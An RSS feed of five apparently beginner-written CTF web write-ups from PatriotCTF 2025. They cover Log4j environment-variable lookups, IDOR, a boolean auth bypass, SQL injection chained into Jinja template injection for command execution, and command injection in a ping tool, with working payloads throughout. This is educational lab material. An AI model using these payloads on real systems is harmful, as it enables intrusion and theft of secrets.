<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by sudo-plataoplomo on Medium]]></title>
        <description><![CDATA[Stories by sudo-plataoplomo on Medium]]></description>
        <link>https://medium.com/@yousefw1907?source=rss-9bdee29c632b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0LfRBsvGYtTupCd_0A4TkA.jpeg</url>
            <title>Stories by sudo-plataoplomo on Medium</title>
            <link>https://medium.com/@yousefw1907?source=rss-9bdee29c632b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 15:38:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yousefw1907/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PatriotCTF 2025 — Feedback Web Challenge Write-Up]]></title>
            <link>https://medium.com/@yousefw1907/patriotctf-2025-feedback-web-challenge-write-up-c9109f9f9074?source=rss-9bdee29c632b------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9109f9f9074</guid>
            <category><![CDATA[patriotctf]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[sudo-plataoplomo]]></dc:creator>
            <pubDate>Tue, 25 Nov 2025 03:16:58 GMT</pubDate>
            <atom:updated>2025-11-25T03:16:58.327Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>PatriotCTF 2025 — Feedback Web Challenge Write-Up</strong></h3><p><strong>Hey everyone — this is my write-up for the PatriotCTF 2025 web challenge “Trust Fall”, which I solved using a Log4j vulnerability.</strong></p><p><strong>1. Introduction</strong></p><p>This write-up is for the PatriotCTF 2025 web challenge that I solved using a Log4j vulnerability.</p><p>I want to say something clearly from the beginning:<br> One of my mistakes was waiting too long before joining CTFs. I really don’t recommend that to anyone — <strong>start playing CTFs early</strong>. They force you to connect theory with real problems.</p><p>In this challenge, I also struggled a lot to find the <strong>correct environment variable name for the flag</strong>. I tried many guesses, and it was hard because I still don’t have much experience. But this is exactly how you learn.</p><p><strong>2. Challenge Overview</strong></p><p>The platform description said that the team had just deployed a new feedback portal, and because of compatibility issues they were using a <strong>very old version of Java</strong>.</p><p>That is already a big hint that something might be wrong with the logging stack, especially with <strong>Log4j</strong>.</p><p>The goal:<br> Visit the feedback portal, find the vulnerability, and leak the <strong>flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*PMoft39Buii5F2febAMNSw.png" /></figure><p><strong>3. First Look at the Feedback Portal</strong></p><p>When I opened the challenge link, I saw a very simple page:</p><ul><li>A large text area to submit feedback</li><li>A big green <strong>“Submit Feedback”</strong> button</li></ul><p>I started with the most basic test:</p><ol><li>Typed test in the text area</li><li>Clicked “Submit Feedback”</li><li>Captured the request and response in <strong>Burp Suite</strong></li></ol><p>The HTTP request body was:</p><p>POST /feedback HTTP/1.1</p><p>…</p><p>feedback=test</p><p>The response was a JSON object with a status field, followed by some raw server logs. In those logs, my word `test` showed up.</p><p>So I learned an important fact:</p><p>My input is being logged on the server, and those logs are returned to me in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*B8u87TiQFy1G8eyNQMP0RQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*Sls17I9gUQy0vdvYoVrF3g.png" /></figure><p>At this point I still did not know the name of the vulnerability or how dangerous it was. I only had a strange behaviour.</p><p>So I started searching: read other write-ups, watched YouTube videos, and used AI tools to understand what was going on.</p><p><strong>4. Discovering Log4j Lookups</strong></p><p>After some research, I realised the behaviour matched <strong>Log4j lookups</strong>.</p><p>In vulnerable versions of <strong>Apache Log4j 2</strong>, when a log message contains ${…}, Log4j will <strong>evaluate</strong> the content instead of just printing it.</p><p>Examples:</p><p>• `${java:version}` → Java version</p><p>• `${java:os}` → operating system information</p><p>• `${env:PATH}` → value of the `PATH` environment variable</p><p>If user-controlled input is passed directly into such a logger, we can send payloads like ${java:os} and Log4j will resolve them on the server side.</p><p>In real attacks (Log4Shell), this can lead to <strong>remote code execution</strong> with payloads like ${jndi:ldap://…}.<br> In this CTF, the challenge is safer: we “only” use lookups to read <strong>environment variables</strong> and steal the flag.</p><p>So the core issue is:</p><p>The application logs user input with a vulnerable Log4j configuration that evaluates ${} lookups.</p><p><strong>5. Confirming the Vulnerability</strong></p><p>To test my theory, I changed my feedback to:</p><p>${java:os}</p><p>The new response logs did not show the literal string. Instead, they contained information about the <strong>Linux kernel and architecture</strong> of the server. That confirmed the payload was evaluated.</p><p>Next, I tried:</p><p>${env:PATH}</p><p>This time, the logs returned the full PATH environment variable of the system.</p><p>Then I sent:</p><p>${java:version}</p><p>And the logs showed the Java version running on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*N_1pzGt37BEoxTwwNr6JTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*tw0pwcdfvspDbCkIwK5xbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*_1KA2kI9fz0hRaPPcbDDfQ.png" /></figure><p>Now I was sure:</p><ul><li>The backend uses <strong>Log4j 2 with lookups enabled</strong></li><li>My feedback string goes directly into the logger</li><li>I can access environment variables with ${env:…}</li></ul><p>The remaining question: <strong>Which environment variable holds the flag?</strong></p><p><strong>6. Brute-Forcing the Flag Name</strong></p><p>Because I could read environment variables, it was very likely that the flag was stored in one of them.</p><p>This was the part where my lack of CTF experience really appeared. I did not know what name to expect, so I started guessing.</p><p>I tried different payloads like:</p><p>${env:FLAG}</p><p>${env:flag}</p><p>${env:FLAG_secret}</p><p>${env:FLAG_SECRET}</p><p>${env:PCTF_FLAG}</p><p>${env:CTF_FLAG}</p><p>${env:FLAG_TOKEN}</p><p>${env:SECRET}</p><p>${env:APP_FLAG}</p><p>Every time, I looked at the logs in the response.<br> If the variable did not exist, I would just see the payload or get nothing useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*bEFACKlajPYJoYmH8iGKfA.png" /></figure><p>I repeated this process many times. This was honestly the hardest part of the challenge for me. The vulnerability itself was clear, but the guessing phase was long and frustrating because of my low CTF experience.</p><p>Finally, I tried:</p><p>`${env:SECRET_FLAG}`</p><p>This time, the logs contained the flag:</p><p>User feedback: PCTF{Cant_Handle_the_Feedback}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*zv-F9W0gLMo42u9el8y6FQ.png" /></figure><p><strong>7. What I Learned</strong></p><p>From this challenge I learned more than just a Log4j trick.</p><p><strong>Technical lessons:</strong></p><ul><li>User input that is logged can be dangerous if the logger supports dynamic features like ${} lookups.</li><li>Even if there is no remote code execution, reading environment variables can be enough to leak secrets such as flags, API keys, or tokens.</li><li>Small test payloads (${java:os}, ${java:version}, ${env:PATH}) are a good way to confirm that a Log4j lookup is working.</li></ul><p><strong>Personal / CTF lessons:</strong></p><ul><li>I am still a beginner in CTFs, and that is okay. What matters is to keep playing and learning.</li><li>Waiting to start CTFs was a mistake. They are one of the best ways to connect theory with practice.</li><li>Sometimes the hardest part is not understanding the vulnerability itself, but dealing with small, practical details — like guessing a variable name.</li><li>Even when something looks impossible, keep trying different ideas. I was very close to giving up before I finally found ${env:SECRET_FLAG}.</li></ul><p><strong>8. Suggested Image Placement for Medium</strong></p><p>Here is a quick guide for where to put each screenshot in the article:</p><ol><li><strong>Challenge card / description page</strong></li></ol><ul><li>Put in <strong>Section 2 — Challenge Overview</strong> right after the short description.</li></ul><ol><li><strong>Feedback portal UI with “Submission failed.”</strong></li></ol><ul><li>Put at the start of <strong>Section 3 — First Look at the Feedback Portal</strong>.</li></ul><ol><li><strong>Burp screenshot with feedback=test in the logs</strong></li></ol><ul><li>Put at the end of <strong>Section 3</strong>, after you show the request/response.</li></ul><ol><li><strong>${java:os} screenshot</strong></li></ol><ul><li>Put in <strong>Section 5 — Confirming the Vulnerability</strong>, when you describe that payload.</li></ul><ol><li><strong>${env:PATH} screenshot</strong></li></ol><ul><li>Also in <strong>Section 5</strong>, right after the explanation of PATH.</li></ul><ol><li><strong>${java:version} screenshot</strong></li></ol><ul><li>Still in <strong>Section 5</strong>, after the Java version test.</li></ul><ol><li><strong>Failed guess like ${env:FLAG}</strong></li></ol><ul><li>Put in <strong>Section 6 — Brute-Forcing the Flag Name</strong>, when you explain your wrong attempts.</li></ul><ol><li><strong>${env:SECRET_FLAG} screenshot with the real flag</strong></li></ol><ul><li>Put at the end of <strong>Section 6</strong>, right after you show the final successful payload.</li></ul><p>9. Conclusion</p><p>This challenge was a perfect example of how CTFs can teach you under pressure.</p><p>I started with no idea what was happening, found a strange logging behaviour, learned about Log4j lookups, and then spent a long time just guessing a variable name.</p><p>If you’re also new to CTFs: don’t wait. Start playing, make mistakes, get stuck, and keep going. Every solved challenge — even after a lot of struggle — is a big step forward.</p><p>Thanks for reading, and I hope this write-up helps someone else solve a similar challenge or feel less alone as a beginner.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9109f9f9074" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PatriotCTF 2025 — TrustFall Web Challenge Write-Up]]></title>
            <link>https://medium.com/@yousefw1907/patriotctf-2025-trustfall-web-challenge-write-up-dc5fb0ad067e?source=rss-9bdee29c632b------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc5fb0ad067e</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[sudo-plataoplomo]]></dc:creator>
            <pubDate>Sun, 23 Nov 2025 22:39:19 GMT</pubDate>
            <atom:updated>2025-11-23T22:39:19.648Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>PatriotCTF 2025 — TrustFall Web Challenge Write-Up</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*3Zut0_XCbIwtOcQUgZpRww.png" /></figure><p><strong>Introduction</strong></p><p>TrustFall is a straightforward but well-designed web challenge from PatriotCTF 2025. The website intentionally gives the user a valid username and password and assumes this limited account will not access anything sensitive. The goal is to find a flaw in the authorization logic and retrieve the flag.</p><p>The vulnerability that leads to the solution is an IDOR (Insecure Direct Object Reference) or, more generally, Broken Access Control.</p><p><strong>1. Logging In</strong></p><p>The login page shows a preset username and password in the background:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*G7PhXWyoCs5yP8PpFp-ZSg.png" /></figure><p>Username: testuser<br> Password: pass123</p><p>After logging in, the application displays a product catalog. Each item has an “Updated By: User X” field. There is also an “Open Admin Console” link, but clicking it returns:</p><p>Unauthorized: admin console restricted to leadership.</p><p>The UI blocks access, but the backend API may not.</p><p><strong>2. Inspecting Product Details</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*wTjFeisjKQ_haiPtgr0aCA.png" /></figure><p>Clicking a product such as GL-404 shows:</p><p>Updated By: User 1</p><p>Another product shows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*wlMuUlwqhxIsJwl1zwF2MA.png" /></figure><p>Updated By: User 2</p><p>This means the frontend is calling an endpoint like:</p><p>/api/products/GL-404</p><p>The product data exposes internal user IDs, which suggests we may be able to query more information about those users.</p><p><strong>3. Exploring the API</strong></p><p>Using Burp Suite, I intercepted the request and confirmed that the system returns user IDs inside the product data. Based on that, I attempted to access the users API directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*-FHyAsuu3jcCH_xaG-O7xQ.png" /></figure><p>First test:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*-pBekGw-VLnG8Cs5bONFRA.png" /></figure><p>/api/users/1</p><p>This shows normal, non-sensitive data.<br> Next, I tested user ID 0.</p><p><strong>4. Identifying the Vulnerability (IDOR)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*giuT7PNqiWMh6BcaGszs2w.png" /></figure><p>Request:</p><p>/api/users/0</p><p>Here, the backend returned the superuser’s information, including the flag, without checking whether the logged-in user had permission to view it. There are no authorization checks on this endpoint.</p><p>This is a classic IDOR vulnerability: the application exposes sequential user IDs and allows anyone to request any user’s data simply by modifying the ID in the URL.</p><p><strong>5. Why This Happens</strong></p><p>The backend assumes that if a user is logged in, they should be allowed to access any /api/users/{id} resource. The UI hides the admin console, but the backend does not enforce this restriction.</p><p><strong>Conclusion</strong></p><p>This challenge highlights the importance of enforcing authorization checks on the backend, not just restricting features in the user interface. Even a simple endpoint like /api/users/0 can expose critical information if the server does not validate access permissions.</p><p>More write-ups coming soon.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc5fb0ad067e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PatriotCTF 2025 — SecureAuth Web Challenge Write-Up]]></title>
            <link>https://medium.com/@yousefw1907/patriotctf-2025-secureauth-web-challenge-write-up-d8585bc66f4c?source=rss-9bdee29c632b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8585bc66f4c</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[sudo-plataoplomo]]></dc:creator>
            <pubDate>Sun, 23 Nov 2025 22:37:04 GMT</pubDate>
            <atom:updated>2025-11-23T22:37:04.132Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>PatriotCTF 2025 — SecureAuth Web Challenge Write-Up</strong></h3><p>This write-up explains how I solved the SecureAuth web challenge in PatriotCTF 2025 using a simple authentication logic bug.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*6UOixwGXe9XKVHaQeX328w.png" /></figure><p><strong>1. Challenge Overview</strong></p><p>The challenge presents a “SecureAuth™ Login System” made by a Python bootcamp intern. On the main page we see:</p><ul><li>A normal HTML login form that sends a POST request to /login.</li><li>Test credentials: guest / guest123.</li><li>A description of an API endpoint:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*z1QJzNhS596pNo8iU4vHbA.png" /></figure><p>From this, we know the application has:</p><ul><li>A web login endpoint: /login</li><li>A JSON API: /api/authenticate</li><li>Probably an admin-only page somewhere that requires a higher role.</li></ul><p><strong>2. First Steps: Logging In as Guest</strong></p><p>The homepage gives us test credentials:</p><ul><li>Username: guest</li><li>Password: guest123</li></ul><p>I used these on the /login form and successfully logged in as a normal user.</p><p>After that, I tried visiting /admin. The response was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*OOm-vSzk5nonhDRKxsdN1w.png" /></figure><p>This page requires administrator privileges. Your current role (guest) does not have sufficient permissions.</p><p>So:</p><ul><li>There is an /admin page.</li><li>My current role is guest.</li><li>To reach /admin, I need to become an admin user or bypass the role check.</li></ul><p>This is where the /api/authenticate endpoint becomes interesting.</p><p><strong>3. Interacting with /api/authenticate — Failed Attempts</strong></p><p><strong>3.1 Attempt 1 — GET request: Method Not Allowed</strong></p><p>When I opened /api/authenticate directly in the browser, I got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*7behC_AnmFAOlD05uePWPA.png" /></figure><p>The method is not allowed for the requested URL.</p><p>This tells us:</p><ul><li>The endpoint only accepts POST requests.</li><li>We need to send JSON via POST to interact with it.</li></ul><p>So I switched to Burp Suite to craft a proper request.</p><p><strong>3.2 Attempt 2 — POST with wrong Content-Type</strong></p><p>My first POST attempt was not correct. The server returned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*cgocVgDXwf4iTSC1nKjTQA.png" /></figure><p>HTTP/1.1 400 BAD REQUEST</p><p>Content-Type: application/json</p><p>The problem:</p><ul><li>The request did not have Content-Type: application/json set correctly, or it had conflicting headers.</li><li>Because of that, the server refused to parse the body as JSON.</li></ul><p>This was my first failed attempt to talk to the API.</p><p><strong>3.3 Attempt 3 — Valid JSON with guest credentials (no flag yet)</strong></p><p>Next, I fixed the Content-Type header and sent a proper JSON body:</p><p>POST /api/authenticate HTTP/1.1</p><p>Content-Type: application/json</p><p>{</p><p>“username”: “guest”,</p><p>“password”: “guest123”,</p><p>“remember”: false</p><p>}</p><p>The response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*TXklQyApNhAfR94R54SwMA.png" /></figure><p>HTTP/1.1 200 OK</p><p>Observations:</p><ul><li>success: true → authentication is successful.</li><li>role: “guest” → the API confirms we are a guest.</li><li>flag: null → no flag for guest users.</li><li>The session cookie clearly encodes a JSON-like object:</li><li>{</li><li>“flag”: null,</li><li>“logged_in”: true,</li><li>“role”: “guest”,</li><li>“username”: “guest”</li><li>}</li></ul><p>So this login is working correctly, but it does not give us the flag or admin privileges.</p><p>This is a successful login but still a failed attempt for the flag.</p><p><strong>3.4 Attempt 4 — Playing with credentials and remember</strong></p><p>Next, I started to “play” with the request:</p><ul><li>Sending wrong usernames and passwords.</li><li>Changing the remember boolean between true and false.</li><li>Trying values like:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*Z_wx18dwQX-VX23xir2a7A.png" /></figure><p>These attempts either:</p><ul><li>Kept me as role: “guest”, or</li><li>Made success: false.</li></ul><p>At this point, I knew I needed a more specific idea, not just random combinations.</p><p><strong>4. Understanding the Likely Bug</strong></p><p>The API description shows:</p><p>{</p><p>“username”: “string”,</p><p>“password”: “string”,</p><p>“remember”: boolean</p><p>}</p><p>There is a remember field that is a boolean, probably used for a “Remember me” feature.</p><p>A very common mistake in Python web apps is mixing authentication and “remember me” logic in the same if statement. For example:</p><p>data = request.get_json()</p><p>username = data.get(“username”)</p><p>password = data.get(“password”)</p><p>remember = data.get(“remember”, False)</p><p>if (username == “admin” and password == ADMIN_PASS) or remember:</p><p># login successful</p><p>If the code looks like this, then:</p><ul><li>Any request with remember == True will pass the condition.</li><li>Even if the username or password are incorrect or missing.</li></ul><p>Based on this, the idea was to try logging in as admin using only the remember boolean, and bypass the password check.</p><p><strong>5. Final Exploit — Becoming Admin Without a Password</strong></p><p>After trying a few combinations, I decided to remove the password completely, change the username to admin, and set remember to true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*huEXxICkzXJ8_K_2CY44PA.png" /></figure><p>Now we finally have:</p><ul><li>role: “admin”</li><li>user: “admin”</li><li>flag: “FLAG{py7h0n_typ3_c03rc10n_byp4ss}”</li></ul><p>We successfully logged in as admin <strong>without providing any password</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*ZZugBDjiVTbnwCRmakRnWQ.png" /></figure><p>This confirms that the authentication logic is something like:</p><p>if (username == “admin” and password == ADMIN_PASS) or remember:</p><p># login success</p><p>The or remember part is the entire vulnerability.</p><p><strong>6. Root Cause: Authentication Logic Bug</strong></p><p>The root cause of this challenge is a broken authentication condition.</p><p>Instead of clearly separating:</p><ol><li>Checking if the credentials are valid.</li><li>Handling the “remember me” feature.</li></ol><p>The code probably mixes them in a single boolean expression:</p><p>if (username == “admin” and password == ADMIN_PASS) or remember:</p><p>…</p><p>This means:</p><ul><li>Any request where remember is true will authenticate the user.</li><li>Even if the password is wrong.</li><li>In our final exploit, we did not send a password at all.</li></ul><p>This is a classic example of:</p><ul><li>Authentication logic bug.</li><li>Boolean bypass / type coercion bypass.</li></ul><p><strong>7. Lessons Learned</strong></p><ul><li>Do not mix authentication logic with optional features like “remember me” in the same condition.</li><li>Avoid conditions such as:</li><li>if valid_credentials or remember:</li><li>Always verify that the password is present and correct before granting any session, especially for admin.</li><li>Be careful with boolean fields in JSON (remember, is_admin, superuser, etc.). They often introduce logic bugs if not handled carefully.</li></ul><p><strong>8. Thanks</strong></p><p>Thanks to the PatriotCTF organizers for a fun event, and to everyone in the community who shares their write-ups and ideas.</p><p>I hope this simple, step-by-step explanation helps beginners understand how a small logic mistake in authentication can completely break the security of an application.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8585bc66f4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PatriotCTF 2025 — TrustVault Web Challenge Write-Up]]></title>
            <link>https://medium.com/@yousefw1907/patriotctf-2025-trustvault-web-challenge-write-up-bbb24b44ae9c?source=rss-9bdee29c632b------2</link>
            <guid isPermaLink="false">https://medium.com/p/bbb24b44ae9c</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[sudo-plataoplomo]]></dc:creator>
            <pubDate>Sat, 22 Nov 2025 22:11:03 GMT</pubDate>
            <atom:updated>2025-11-22T22:11:03.859Z</atom:updated>
            <content:encoded><![CDATA[<h3>PatriotCTF 2025 — TrustVault Web Challenge Write-Up</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*cPZ5mzgMMPyFYHK3vrH1BQ.png" /></figure><h3>SQL Injection + Jinja SSTI → Remote Code Execution → Flag</h3><p>This was one of the most interesting web challenges in PatriotCTF 2025.<br> The goal was to leak a server-side flag by chaining two vulnerabilities:<br> <strong>SQL Injection</strong> and <strong>Jinja2 SSTI</strong>.</p><h3>1. Starting Point — Registration &amp; Login</h3><p>After creating an account and logging in, the page looked simple and clean.</p><p>There were no hints, no errors, and nothing obviously vulnerable at first glance.</p><h3>2. Testing the Bookmarks Feature</h3><p>Inside the bookmarks page, I could type anything and save it:</p><p>I tested:</p><ul><li>XSS</li><li>SQL injection</li><li>SSTI</li></ul><p>All of them failed at this stage.</p><p>But while intercepting the request in Burp Suite, I discovered something interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*efUSy_FdmtdpQ4J2dM9uqQ.png" /></figure><p>Inside the HTML response was a hidden, commented line:</p><pre>&lt;!-- Legacy console: &lt;a href=&quot;/search&quot;&gt;/search&lt;/a&gt; --&gt;</pre><p>This means a forgotten debugging page still exists.<br> So I visited:</p><pre>/search</pre><h3>3. Visiting /search — First Signs of Vulnerability</h3><p>On /search, there was a simple input that triggered a database lookup.</p><p>Testing direct SSTI:</p><pre>{{7*7}}</pre><p>It didn’t work.</p><p>But adding SQL injection with SSTI worked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*krcfxZcbN5mRlKKpYsallQ.png" /></figure><pre>&#39; UNION SELECT &#39;{{7*7}}&#39; --</pre><p>And the page returned:</p><pre>49</pre><p>This means:</p><ul><li>SQLi is working</li><li>The output is rendered through Jinja</li><li>Jinja SSTI is executing</li></ul><p>Full template injection confirmed.</p><h3>4. Executing System Commands</h3><p>Using a classic Jinja SSTI → Python RCE payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x9YEjwjWqPpyU1arF6CluA.png" /></figure><pre>&#39; UNION SELECT &#39;{{ cycler.__init__.__globals__.os.popen(&quot;ls -la /&quot;).read() }}&#39; --</pre><p>This listed the root directory, revealing the flag file:</p><pre>flag-14530fda773c585ff1ce49a09f4bdd69.txt</pre><h3>5. Reading the Flag</h3><p>Now that we know the filename, we can read it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WlULvu2ZPbuQKLcdprPCeA.png" /></figure><pre>&#39; UNION SELECT &#39;{{ cycler.__init__.__globals__.__builtins__.__import__(&quot;os&quot;).popen(&quot;cat /flag-ea6dbd7bd5075a227e9143ac6d1a09cb.txt&quot;).read() }}&#39; --</pre><p>Final output:</p><h3>6. Vulnerability Summary</h3><h3>1. SQL Injection</h3><p>User input is injected directly into a SQL query inside /search.</p><h3>2. SSTI (Server-Side Template Injection)</h3><p>The SQL result is rendered in a Jinja template, enabling code execution.</p><h3>3. Remote Code Execution</h3><p>Using Jinja object access, we call:</p><pre>os.popen()</pre><p>to execute system commands.</p><h3>7. Final Notes</h3><p>This challenge is a perfect example of vulnerability chaining:</p><ul><li>A forgotten legacy route</li><li>A SQL injection</li><li>A Jinja SSTI</li></ul><p>Together, they result in full server compromise.</p><p>Thanks to PatriotCTF for a fun and educational challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bbb24b44ae9c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PatriotCTF 2025 — Web Challenge Write-Up]]></title>
            <link>https://medium.com/@yousefw1907/patriotctf-2025-web-challenge-write-up-1fe588da669d?source=rss-9bdee29c632b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1fe588da669d</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[sudo-plataoplomo]]></dc:creator>
            <pubDate>Sat, 22 Nov 2025 21:38:31 GMT</pubDate>
            <atom:updated>2025-11-22T22:12:09.763Z</atom:updated>
            <content:encoded><![CDATA[<h3>PatriotCTF 2025 — Connection Tester Web Challenge Write-Up</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*ovaG70nb1JiAz3BUemFDrQ.png" /></figure><p><em>This is my first write-up, so I hope it helps anyone starting out in web exploitation. I kept everything simple, clear, and straight to the point.</em></p><h3>SQL Injection Login → Command Injection → Filter Bypass → Flag Extraction</h3><h3>1. Login Page</h3><p>When opening the application, the login page simply returns <strong>“Invalid credentials”</strong> for all incorrect attempts.</p><p>At first, I tried several wrong username/password combinations to see how the backend behaves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*_NMSkc0lw5MD6sIj1SrC8A.jpeg" /></figure><p>During these attempts, some responses looked unusual and hinted that the login query might not be handled safely.</p><p>Based on that behavior, I tested for <strong>SQL injection</strong> — and the login form turned out to be vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*eexbO4-_zJqM4DuR23g1QQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*CfrGyLDr6jwaOKZ72aX0vg.png" /></figure><h3>2. SQL Injection Login Bypass</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Nl3duc1ey_VBOAYzqb0UiQ.png" /></figure><p>A basic SQL injection payload such as:</p><pre>&#39; OR 1=1 --</pre><p>causes the backend to throw an SQL error:</p><p>This confirms that the query is injectable.</p><p>Logging in with these credentials grants full access to the admin panel.</p><h3>3. Logging In Successfully</h3><p>Now inside the dashboard, we can explore the vulnerable functionality.</p><h3>4. Admin Dashboard</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yXx1qTlAAOJe0Z4oqtFxFw.png" /></figure><p>One feature stands out:</p><p><strong>Connectivity Tester</strong></p><p>This is the feature that eventually leads to remote command execution.</p><h3>5. Connectivity Tool Overview</h3><p>The tool accepts an IP address and performs a “connectivity check”.<br> This strongly suggests the backend runs a system command like:</p><pre>ping &lt;user_input&gt;</pre><p>Testing with:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BPV3D5lpSBl6SO1-uMAlOQ.png" /></figure><p>returns:</p><pre>connecting to 127.0.0.1...</pre><p>This confirms command execution on the server.</p><h3>6. Command Injection Attempts And Finding the Flag</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*TvSmg5CV5z4INbwSEbP1zg.png" /></figure><p>Searching the filesystem:</p><pre>127.0.0.1; find / -name &quot;flag*&quot; 2&gt;/dev/null</pre><p>The flag file is located at:</p><pre>/app/flag.txt</pre><h3>7. Filter Bypass Using Command Chaining</h3><p>However, the filter only blocks <strong>single commands</strong>.<br> By chaining multiple commands, one eventually bypasses the filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*Psw3HenWP3tFV4WoxDpctw.png" /></figure><p>Working payload:</p><pre>127.0.0.1; grep ./app/flag.txt 127.0.0.1; awk &#39;1&#39; /app/flag.txt</pre><p>Some commands fail, but at least one executes successfully.</p><h3>SQL Injection (Login Form)</h3><p>Raw user input is concatenated into a SQL query, allowing authentication bypass.</p><h3>Command Injection</h3><p>User input is inserted into system commands without proper sanitization.</p><h3>Filter Bypass</h3><p>The backend blocks only isolated commands, not chained sequences.<br> A sequence like:</p><pre>cmd1 ; cmd2 ; cmd3</pre><p>allows successful execution of at least one command.</p><h3>Thanks to everyone who motivated, helped, and encouraged me to start documenting my work.</h3><p>More write-ups coming soon.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1fe588da669d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>